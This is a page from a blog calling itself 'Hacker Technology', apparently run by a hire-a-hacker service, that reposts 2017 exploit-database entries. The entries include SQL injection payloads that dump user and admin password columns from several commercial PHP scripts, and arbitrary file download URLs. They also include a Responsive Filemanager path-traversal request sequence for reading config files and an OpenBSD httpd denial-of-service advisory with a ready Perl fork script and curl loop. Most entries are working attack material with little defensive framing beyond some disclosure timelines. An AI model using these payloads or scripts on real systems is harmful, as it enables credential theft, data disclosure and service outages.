Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863585076

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# # # # # 
# Exploit Title: CodePaul ClipMass - Video Portal Site - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://codepaul.com/
# Software Buy: https://codecanyon.net/item/codepaul-clipmass-video-portal-site/14681505
# Demo: http://codepaul.com/clipmass/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search?keyword=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Examplo - Online Exam System - SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://softpae.sk/
# Software Buy: https://codecanyon.net/item/examplo-online-exam-system/16174658
# Demo: http://munka.softpae.sk/examplo/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as student user
# http://localhost/[PATH]/index.php?page=exams&action=edit&eid=[SQL]
# http://localhost/[PATH]/index.php?page=classes&action=send&cid=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Complete Client Management & Billing v1.0.1 Script- SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://www.ynetinteractive.com/
# Software Buy: http://www.ynetinteractive.com/clientexpert/demo.php
# Demo: http://www.ynetinteractive.com/clientexpert/demo.php
# Version: 1.0.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as client user
# http://localhost/[PATH]/index.php?view=ViewInvoice&id=[SQL]
# http://localhost/[PATH]/index.php?view=ViewTicket&id=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Complete School Management Software with Web Portal - SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://www.ynetinteractive.com/
# Software Buy: http://www.ynetinteractive.com/soa/
# Demo: http://www.ynetinteractive.com/soa/demo.php
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as student user
# Other user groups have vulnerabilities.
# http://localhost/[PATH]/Document.php?view=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Fome SMS Portal (Advanced) - Bulk SMS Reseller  v2.0 Script - SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://ynetinteractive.com/
# Software Buy: https://codecanyon.net/item/fome-sms-portal-advanced-bulk-sms-reseller-script/14241587
# Demo: http://demo.ynetinteractive.com/fomesmsportal/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/Compose.php?draftID=[SQL]
# http://localhost/[PATH]/Compose.php?smsgID=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Sendroid - Bulk SMS Portal, Marketing v5.2 Script - SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://ynetinteractive.com/
# Software Buy: https://codecanyon.net/item/sendroid-bulk-sms-portal-marketing-2way-messaging-script-with-mobile-app/14657225
# Demo: http://demo.ynetinteractive.com/sendroid/app/
# Version: 5.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as customer User
# http://localhost/[PATH]/Compose.php?msgID=[SQL]
# http://localhost/[PATH]/Compose.php?smsgID=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Mobiketa - Complete Mobile Marketing v3.5 Script - SQL Injection
# Google Dork: N/A
# Date: 09.02.2017
# Vendor Homepage: http://ynetinteractive.com/
# Software Buy: https://codecanyon.net/item/mobiketa-complete-mobile-marketing-script-with-bulk-sms-voice-sms-2way-messaging-support/16494684
# Demo: http://demo.ynetinteractive.com/mobiketa/
# Version: 3.5
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as client User
# http://localhost/[PATH]/index.php?url=myCampaign&view=[SQL]
# http://localhost/[PATH]/index.php?url=newSMSCampaign&use=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Point of Sales - Multi Outlets POS v3.1 Script - SQL Injection
# Google Dork: N/A
# Date: 08.02.2017
# Vendor Homepage: http://prosoft-apps.com/
# Software Buy: https://codecanyon.net/item/point-of-sales-multi-outlets-pos/17674742
# Demo: http://pos.prosoft-apps.com/pos/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/view_invoice?id=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Muviko Video CMS Script - SQL Injection
# Google Dork: N/A
# Date: 08.02.2017
# Vendor Homepage: https://muvikoscript.com/
# Software Buy: https://codecanyon.net/item/muviko-movie-video-cms/19402086
# Demo: https://demo.muvikoscript.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?q=[SQL]
# -9999'+/*!50000union*/+select+1,concat_ws(0x3c62723e,email,0x3c62723e,password,0x3c62723e,name),3,4,5,6,7,8,9,10,11,12,13,14,15+from+users-- -
# http://localhost/[PATH]/category.php?id=[SQL]
# -9999'+/*!50000union*/+select+1,concat_ws(0x3c62723e,email,0x3c62723e,password,0x3c62723e,name),3,4,5,6,7,8,9,10,11,12,13,14,15+from+users-- -
# Etc...
# # # # #
HireHackking 
## Advisory Information

Title: Remote DoS against OpenBSD http server (up to 6.0)
Advisory URL: https://pierrekim.github.io/advisories/CVE-2017-5850-openbsd.txt
Blog URL: https://pierrekim.github.io/blog/2017-02-07-openbsd-httpd-CVE-2017-5850.html
Date published: 2017-02-07
Vendors contacted: OpenBSD
Release mode: Released
CVE: CVE-2017-5850



## Product Description

The OpenBSD project produces a FREE, multi-platform 4.4BSD-based UNIX-like operating system.



## Vulnerabilities Summary

The shipped HTTP daemon in OpenBSD (up to the latest version) is prone to 2 remote DoS.

The first vulnerability allows an attacker to consume all the CPU power from the remote server (CPU exhaustion).

The second vulnerability (Memory exhaustion) allows an attacker to consume all the RAM and the swap space on the remote side.
Processes will be killed when running out of swap space. The system will be likely to freeze.



## Details - CPU exhaustion (no CVE entry)

OpenBSD's httpd is prone to a SSL DoS with SSL renegotiation:

user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client -connect 10.0.2.15:443
CONNECTED(00000003)
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
- ---
Certificate chain
 0 s:/C=XX/ST=secure.example.com/CN=secure.example.com
   i:/C=XX/ST=secure.example.com/CN=secure.example.com
- ---
Server certificate
- -----BEGIN CERTIFICATE-----
MIIDCjCCAfICCQC0tQxJqUqQTzANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQGEwJY
WDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQDDBJzZWN1cmUu
ZXhhbXBsZS5jb20wHhcNMTcwMTI3MTU0MjMzWhcNMTgwMTI3MTU0MjMzWjBHMQsw
CQYDVQQGEwJYWDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQD
DBJzZWN1cmUuZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCjIY7mMaNVLmPDA4ir59mgdQEM4TFTgz5cv9SqU4hQq0eVmpJkEfJPHErF
to5NdF2ZIqhL+F34GqZcCC8qO3xB33dAevENWWbA4KObpIybHr8bFeDYYl5GuaCO
hizmcffU3P1ztRNXB4sCTTQwkyry8ZUDaeINLGMb0HhFR9u5TJY6tSB0KMIuiBsH
1hEp8bNxUM046D0wkZkyIgM/or6uj5jRj33aYUn6ZiU8a6UKSAVZJLqziyNcQ0hA
64gS6oapUnMVYJIUDJynOhY5e8xZmD+2pB4NLTIxAEdSyQ4wQ4jBiRFVL+E68fuw
kASmrA4gAbSCO+lYBO8wCRiVOwOdAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAC1L
213ziHqFmC8nLWvvjyoHY2PRFS1ofrfciv+fpohn2GN+eVb8DGTo+KLZ910/PUPk
dzTa7eOlkvR1OG7BUlnia6pGQqizTodvzx0DGgl76k4VpEvJAOZ4f7Plry4qgr5Y
y3Fwym1k3DlNJ5Jqh8Vp2HETbqcovATsUHRS5t/oc6N2egq1DYVC5CdGRgvmmUl+
NBjKOASYoP8S4OQ51wMmXrygFqKcEkq4/GTUFEaamrbM/J+ChD9EqejSKzZ5owRh
74v10s30OylBdmfOLeyrMv5s6DnJRAdtFEH9Wg7sQDt1P3bGOsObVZlmHCtArl4k
m1nHRn8scAFP7QbHl34=
- -----END CERTIFICATE-----
subject=/C=XX/ST=secure.example.com/CN=secure.example.com
issuer=/C=XX/ST=secure.example.com/CN=secure.example.com
- ---
No client certificate CA names sent
- ---
SSL handshake has read 1548 bytes and written 503 bytes
- ---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES256-GCM-SHA384
    Session-ID: DA628A16EF4F067ED81E7A26EFA18D9A7D53CBC4ED54C8F6DC11E5E60FF76530
    Session-ID-ctx: 
    Master-Key: 9235AFEBCF2A517E896A06CAA7A1AF916646DB5BB4C99B53A79627351C0FFB936EB863B0E50A67DF70A354773CF049BE
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 49 f1 29 da 9e 08 f2 74-c6 f3 eb a1 c7 ee 40 bb   I.)....t......@.
    0010 - 96 75 54 c8 4f 32 53 7e-51 40 4e a8 e9 57 41 a5   .uT.O2S~Q@N..WA.
    0020 - 73 3d a9 d6 b8 f7 a0 f8-15 cb be fb f1 4d d9 81   s=...........M..
    0030 - a8 79 56 11 5d 05 32 05-49 df 2b f3 71 89 36 a1   .yV.].2.I.+.q.6.
    0040 - 93 dc b9 b5 00 48 6f 94-b1 c5 78 f8 38 3c 63 29   .....Ho...x.8<c)
    0050 - ed 45 a2 9e ae fc 7e d7-12 76 34 15 93 b1 3d 3d   .E....~..v4...==
    0060 - d7 0a 14 f1 01 a7 87 6c-50 93 25 24 5e 4f 1b fa   .......lP.%$^O..
    0070 - 51 03 4b fa 7e 23 83 99-51 f6 47 10 8c d1 0e 41   Q.K.~#..Q.G....A
    0080 - 5a f7 a5 10 33 a7 37 5d-9b 5e b0 b6 19 e7 e2 61   Z...3.7].^.....a
    0090 - ec ea 1c 72 3c 4a ec 11-0f 26 35 76 6e d9 cb 4d   ...r<J...&5vn..M
    00a0 - c7 f8 57 cb 50 f6 47 02-6b ca be cc 29 04 b7 dc   ..W.P.G.k...)...
    00b0 - e0 d1 cc 8e 5b f9 05 06-10 72 d7 b6 8e cf 42 6a   ....[....r....Bj

    Start Time: 1485536662
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
- ---
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
[...]



- From my test, 1 renegociation thread takes =~ 70% of CPU.

top on the main server (10.0.2.15):

14711 www       51    0 1104K 3636K run       -         1:07 69.55% httpd

Multiple threads will eat all the available CPUs and will be likely to DoS the httpd:

14711 www       63    0 1192K 3708K run       -         2:48 33.45% httpd
77207 www       63    0 1284K 3788K run       -         1:33 33.06% httpd
78835 www       62    0 1232K 3808K run       -         0:15 28.08% httpd

There is no trace of such attacks in the httpd logs.

An attacker can use tools from THC to perform SSL DoS too (openssl was the fastest solution out of the box): https://www.thc.org/thc-ssl-dos/.



## Details - Memory exhaustion (CVE-2017-5850)

A vulnerability exists in the openbsd HTTP daemon. It will result in using all the RAM and the swap space on the remote side, processes will be killed when running out of swap space. The system will be likely to freeze.

Requesting file using a file-range will result in having a httpd process doing a full malloc() of the requested file.
It appears the entry is not correctly free()'d.

Hence, it's possible to DoS the remote server by requesting a file over and over by specifying a custom file range, ie:

    GET /index.html HTTP/1.1
    Range: bytes=1-
    User-Agent: Pierre loves you
    Host: fill-me-with-joy

This attack is successful if an attacker can identify a 'big' file (i.e. > 10MB) served by the remote HTTP server.

Here is a provided PoC (loosely based on KingCope's apache_killer.pl):

#!/usr/bin/perl -w

use warnings;
use IO::Socket;
use Parallel::ForkManager;

$numforks = 50;

if ($#ARGV < 1)
{
  &usage;
  exit;
}

while (1) {
  &killhttpd();
}

sub usage {
  print "OpenBSD HTTP Remote Denial of Service (memory exhaustion) - @PierreKimSec\n";
  print "usage: perl killobsdhttpd.pl <host> <remotefile>\n";
}

sub killhttpd {
  print "ATTACKING $ARGV[0] [using $numforks forks]\n";

  $pm = new Parallel::ForkManager($numforks);

  for (0 .. $numforks)
  {
    my $pid = $pm->start and next;
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                     PeerPort => "80",
                                     Proto    => 'tcp');
    $p = "GET $ARGV[1] HTTP/1.1\r\nRange: bytes=1-\r\nAccept: */*\r\nHost: $ARGV[0]\r\nConnection: close\r\n\r\n";
    print $sock $p;
    if (<$sock>) {sleep (0.5); $sock->close();}
    $pm->finish;
  }
  $pm->wait_all_children;
}


An attacker can use curl to replicate the PoC:

    curl --limit-rate 1 --continue-at 1 --header "Host: www.example.com" http://target/10mb.fs

Stopping the curl process and launching it again will produce one of the remote httpd to use more than 10MB of memory
for each request (the size of the 10mb.fs is 10MB) and will DoS the http server and the OpenBSD system by exhausting
all the RAM. The OpenBSD system will likely freeze within minutes.


PoC with curl (more effective than the perl version, it appears):

#!/bin/sh
# ./$0 www.target.tld /path/to/file

unset http_proxy
unset https_proxy

for i in $(seq 0 300)
do
  echo sending a req
  curl --limit-rate 1 --continue-at 1 --header "Host: $1" http://$1/$2 2>/dev/null >/dev/null &
  sleep 0.5
  pkill curl
done
while sleep 1
do
  echo "sending a req (slow)"
  curl --limit-rate 1 --continue-at 1 --header "Host: $1" http://$1/$2 2>/dev/null >/dev/null &
  pkill curl
done

This attack works using HTTP and using HTTPS.

Current situation in the attacked server (SWAP is full and all the RAM is being completely used):

load averages:  7.11,  3.30,  1.38                                             foo.my.domain 10:26:41
39 processes: 6 running, 32 idle, 1 on processor                                             up  0:03
CPU states:  0.0% user,  0.0% nice,  100% system,  0.0% interrupt,  0.0% idle
Memory: Real: 569M/961M act/tot Free: 21M Cache: 49M Swap: 2039M/2040M

  PID USERNAME PRI NICE  SIZE   RES STATE     WAIT      TIME    CPU COMMAND
  48965 www       28    0 1345M  204M run       -         0:05  0.00% httpd
  43060 www       28    0 1281M  174M run       -         0:05  0.00% httpd
  91565 www       28    0 1153M  187M run       -         0:04  0.00% httpd
  63038 www        2    0  948K    4K idle      kqread    0:00  0.00% httpd



We see the daemons (httpd and sshd) don't answer anymore:

user@kali:~$ 10.0.2.15 80
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.

^]
telnet> q
Connection closed.
user@kali:~$ telnet 10.0.2.15 80
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.

^]
telnet> q
Connection closed.
user@kali:~$ telnet 10.0.2.15 22
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.

^]
telnet> q
Connection closed.
Connection closed by foreign host.



## Vendor Response

o The issue about memory exhaustion has been solved in two ways:
- - OpenBSD 6.0/5.9: Erratas has been issued at:
https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig

- - OpenBSD -current: We reimplemented support for byte ranges in
- -current.  The previous implementation was flawed indeed, as it tried
to load the complete ranges into memory at once.


o High CPU usage is a well-known issue of client-initiated
renegotiation.  While this can cause higher than normal CPU usage, the
processes are still able to service requests.

As httpd uses LibreSSL's libtls, a sane TLS API on top of libssl, we
decided to disable client-initiated renegotiation for libtls servers
in -current.  This change was already planned and has now been
committed to LibreSSL.

libssl http://marc.info/?l=openbsd-cvs&m=148587695222112&w=2
libtls http://marc.info/?l=openbsd-cvs&m=148587827322528&w=2



## Report Timeline

* Jan 25, 2017: Vulnerabilities found by Pierre Kim.
* Jan 30, 2017: OpenBSD team is notified of the vulnerabilities.
* Jan 30, 2017: OpenBSD team replies that they will study the advisory.
* Jan 31, 2017: OpenBSD team confirms the vulnerabilities.
* Jan 31, 2017: Pierre Kim asks for CVE entries.
* Jan 31, 2017: OpenBSD team releases security patches.
* Feb 01, 2017: cve-assign () mitre org assigns CVE-2017-5850 and asks for more details.
* Feb 07, 2017: A public advisory is sent to security mailing lists.



## Credit

These vulnerabilities were found by Pierre Kim (@PierreKimSec).



## References

https://pierrekim.github.io/blog/2017-02-07-openbsd-httpd-CVE-2017-5850.html
https://pierrekim.github.io/advisories/CVE-2017-5850-openbsd.txt
https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJYmMPLAAoJEMQ+Dtp9ky28SpUP/AvB7lMxjIlmMQi7XJFMgxTX
0h3WixpI4tunSKyqC9BflMQRyFQgQ5AX8oh0s2OPJbeVc4RsHf2FBMru6NsvIoyR
Tn537GqqYZ19FpQZOYxEtGVd4SbK+LagtY9xkn4c/Tzd+moDv56e3QKl7AtdLETq
P/GM+n5I/aN0sSYPDBR8XxYS9HrDPFjPADB3qgM4Jef+TBpTnP/yL2SFwPgGosrq
05Exo00tK6YXr3zHFAJb/a4Q2L8/nHgZIpLi2iTkISGcOEzWVT3gFeiCdC0cYLHM
iqCet2eDqEG6UhpP0eQQrFqM30WQ+8z1nDBj4wxX07Np0ZTWkYRw+ezXDYFHIMLE
uCkVJRRm2zZOTfq8qxTldhE1wyNtd+cEBScT9+7+Xz5NN9Fq3zg47XC8AWQkH7tD
IAcIF+4aO7NAWT9Y5Q+UR0r9aTXn8fGorj9/I5d7g5fWTUKujQjnscuZQ/4e0+1B
yb2KAO3Al8s4LQnbqXU/qJ5y/tm+Ra7kxRdogRHpkDR8TwCTwHtTMz+mxGtbIL3X
C0plD5sde6MlYCnkd8WKEBb0bBYyR3leaew6s0dx7iz+smQWe9wXufvMLjQgkP6/
6xfRPyQWOxc4KCWiB5kalQ2soOFVeHbHWimG3/+39qNOb8dY7XA1+0wmYKtdDKvR
3x5MojAce/XvKlx7Cy02
=MAFw
-----END PGP SIGNATURE-----
HireHackking 
[+] Exploit Title: Responsive Filemanger <= 9.11.0 - Arbitrary File Disclosure/Deletion
[+] Date: 7 Feb 2017
[+] Vulnerability and Exploit Author: Wiswat Aswamenakul
[+] Vendor Homepage: http://www.responsivefilemanager.com/
[+] Affected version: only tested on 9.11.0 and 9.7.3 (other versions might be affected)
[+] Tested on: Ubuntu 14.04, PHP 5.5.9
[+] Category: webapps

[+] Description
Responsive filemanger is a PHP based file manager that make use of AJAX
technology. It has various useful features. One of them is copy/cut and
paste files. However, the copy/cut feature does not santize file name
that will be copied/cut. Therefore, it is possible for attackers to
copied/cut any files including PHP files and paste them to overwrite
existing image files. Then, the attackers could download the overwritten
image files to read the content of the copied/cut files. Moreover, for
the cut feature, it can cause the original files to be deleted as well.

[+] Exploit
1. Upload a normal image file (jpg, png, gif) to a server
2. Right click at any files, select copy and capture the request with Burp Suite (or any local proxy)
3. Change parameter "path" to any file name that we would like to download, for example, path=../filemanager/config/config.php

###
POST /fm/filemanager/ajax_calls.php?action=copy_cut HTTP/1.1
Host: 192.168.1.128
Content-Length: 53
Accept: */*
Origin: http://192.168.1.128
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/55.0.2883.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer:
http://192.168.1.128/fm/filemanager/dialog.php?editor=0&type=0&lang=en_EN&popup=0&crossdomain=0&field_id=&relative_url=0&akey=key&fldr=%2F&5869110e2a073
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: last_position=%2F; PHPSESSID=lenmc074o86fe2sq7i1dtnh8j0
Connection: close

path=../filemanager/config/config.php&sub_action=copy
###

4. Go to any sub directory, right click at any files, intercept the request with burp, select "Paste to this directory"
5. Change parameter "path" to the image file uploaded in step 1, for example, path=subdir/size.png

###
POST /fm/filemanager/execute.php?action=paste_clipboard HTTP/1.1
Host: 192.168.1.128
Content-Length: 20
Accept: */*
Origin: http://192.168.1.128
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/55.0.2883.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer:
http://192.168.1.128/fm/filemanager/dialog.php?editor=0&type=0&lang=en_EN&popup=0&crossdomain=0&field_id=&relative_url=0&akey=key&fldr=subdir%2F&5869110f9a268
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: last_position=subdir%2F; PHPSESSID=lenmc074o86fe2sq7i1dtnh8j0
Connection: close

path=subdir/size.png
###

6. Download the image file uploaded in step 1, it will contain content of the file specified in step 3

[+] Note (about another issue I found)
During this report, I found another separated issue with the attack filtering that only check for "../" but not "..\" which can be used to bypass all filters if the application runs on Windows server and reported the issue to the owner as well. However, I found out that this issue was found by a guy from hacktizen and detailed in following blog post
http://hacktizen.blogspot.com/2016/06/responsive-filemanager-9102-directory.html
So, the credit goes for the guy who firstly reported. Perhaps, the guy from hackitizen did not contact the owner of responsive filemanger or there are any problems with communication. Therefore, the issue remains unresolved.

[+] Timeline
- 02/01/2017: Contact Owner
- 05/02/2017: Patched version is available
- 07/02/2017: Public Advisory
HireHackking 
# # # # # 
# Exploit Title: Easy File Uploader Script v1.2 - Arbitrary File Download
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/easy-file-uploader-php-multiple-uploader-with-file-manager/17222287
# Demo: http://demos.nelliwinne.net/EasyFileUploader/
# Version: 1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# Exploit :
# http://localhost/[PATH]/download.php?id=[FILE]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: FTP Made Easy PRO Script v1.2 - Arbitrary File Download
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/ftp-made-easy-pro-php-multiple-ftp-manager-client-with-code-editor/17460747
# Demo: http://demos.nelliwinne.net/FTPMadeEasyPRO/
# Version: 1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# Exploit :
# http://localhost/[PATH]/download.php?id=[FILE]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Easy Web Search - PHP Search Engine with Image Search and Crawling System  Script v3.0 - SQL Injection
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/easy-web-search-php-search-engine-with-image-search-and-crawling-system/17574164
# Demo: http://demos.nelliwinne.net/EasyWebSearchDev/
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/go.php?id=[SQL]
# 99999'+Procedure+Analyse+(extractvalue(0,concat(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/all.php?q=&stt=[SQL]
# 99999+Procedure+Analyse+(extractvalue(0,concat(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# Etc....Other files have vulnerabilities ...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Easy Support Tools - FAQs, Help Articles, Blog and Feedback Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/easy-support-tools-faqs-help-articles-blog-and-feedback/17864522
# Demo: http://demos.nelliwinne.net/EasyFAQ/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/faq.php?stt=[SQL]
# 1+Procedure+Analyse+(extractvalue(0,concat(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/support.php?stt=[SQL]
# 1+Procedure+Analyse+(extractvalue(0,concat(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/blog.php?stt=[SQL]
# 1+Procedure+Analyse+(extractvalue(0,concat(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# Etc....Other files have vulnerabilities ...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: MySQL Blob Uploader - File Upload to Database PHP Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 07.02.2017
# Vendor Homepage: http://nelliwinne.net/
# Software Buy: https://codecanyon.net/item/mysql-file-and-image-uploader-and-sharing-blob-file-server/17748300
# Demo: http://demos.nelliwinne.net/MySqlFileUpload/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/download.php?id=[SQL]&t=files
# -9999'+/*!50000union*/+select+1,concat_ws(un,0x3c62723e,0x3c62723e,pw),3,4,5,6+from+admin-- -&t=files
# http://localhost/[PATH]/download.php?id=[SQL]&t=images_title
# -9999'+/*!50000union*/+select+1,concat_ws(un,0x3c62723e,0x3c62723e,pw),3,4,5,6,7+from+admin-- -&t=images_title
# Etc....Other files have vulnerabilities ...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Uploadr - Project Files Management - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://lagunaproperty.com/
# Software Buy: https://codecanyon.net/item/uploadr-project-files-management/13545125
# Demo: http://download.lagunaproperty.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search?keyword=[SQL]
# http://localhost/[PATH]/download?file=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: CLUB-8 EMS - Event Management System - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://rexbd.net/
# Software Buy: https://codecanyon.net/item/club8-ems-event-management-system-a-to-z/14067759
# Demo: http://ems.rexbd.net/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as sales man user
